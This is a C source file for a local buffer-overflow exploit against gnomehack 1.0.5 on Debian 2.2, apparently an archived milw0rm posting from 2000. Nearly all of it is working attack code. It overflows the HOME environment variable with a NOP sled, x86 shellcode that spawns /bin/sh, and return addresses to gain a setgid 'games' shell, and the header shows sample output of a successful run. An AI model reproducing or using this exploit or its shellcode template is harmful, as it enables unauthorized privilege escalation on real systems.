55 lines
No EOL
2 KiB
C
55 lines
No EOL
2 KiB
C
/* (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo.org].
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this will give you an egid=60(games) shell if gnomehack is sgid(=2755) games
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on debian/2.2, which has gnomehack. (this can also be applied to nethack)
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syntax: ./deb_gnomehack [offset] [alignment].
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example:
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-------------------------------------------------
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# ./deb_gnomehack 500 0
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[ (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo.org]. ]
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[ return address: 0xbffff978, offset: 500, align: 0. ]
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sh-2.03$ id
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uid=1001(v9) gid=1001(v9) egid=60(games) groups=1001(v9)
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sh-2.03$
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-------------------------------------------------
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note: overflow exists in $NETHACKOPTIONS as well, like nethack.
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*/
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#define PATH "/usr/lib/games/gnomehack/gnomehack" // path to gnomehack.
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#define DEFAULT_OFFSET 500 // default offset.
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#define DEFAULT_ALIGN 0 // default alignment.
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static char exec[]=
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"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
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"\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
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"\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";
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long esp(void){__asm__("movl %esp,%eax");}
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int main(int argc,char **argv){
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char bof[300];
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int i,offset,align;
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long ret;
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printf("[ (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo."
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"org]. ]\n");
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if(argc>1){offset=atoi(argv[1]);}
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else{offset=DEFAULT_OFFSET;}
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if(argc>2){
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if(atoi(argv[2])>3||atoi(argv[2])<0){
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printf("*** ignored argument alignment value: %s. (use 0-3)\n",argv[2]);
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align=DEFAULT_ALIGN;
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}
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else{align=atoi(argv[2]);}
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}
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else{align=DEFAULT_ALIGN;}
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ret=(esp()-offset);
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printf("[ return address: 0x%lx, offset: %d, align: %d. ]\n",ret,offset,align);
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for(i=align;i<300;i+=4){*(long *)&bof[i]=ret;}
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for(i=0;i<(250-strlen(exec));i++){*(bof+i)=0x90;}
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memcpy(bof+i,exec,strlen(exec));
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setenv("HOME",bof,1);
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if(execlp(PATH,"gnomehack",0)){
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printf("*** execution of %s failed. (check the path)\n",PATH);
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exit(-1);
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}
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}
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// milw0rm.com [2000-11-15]
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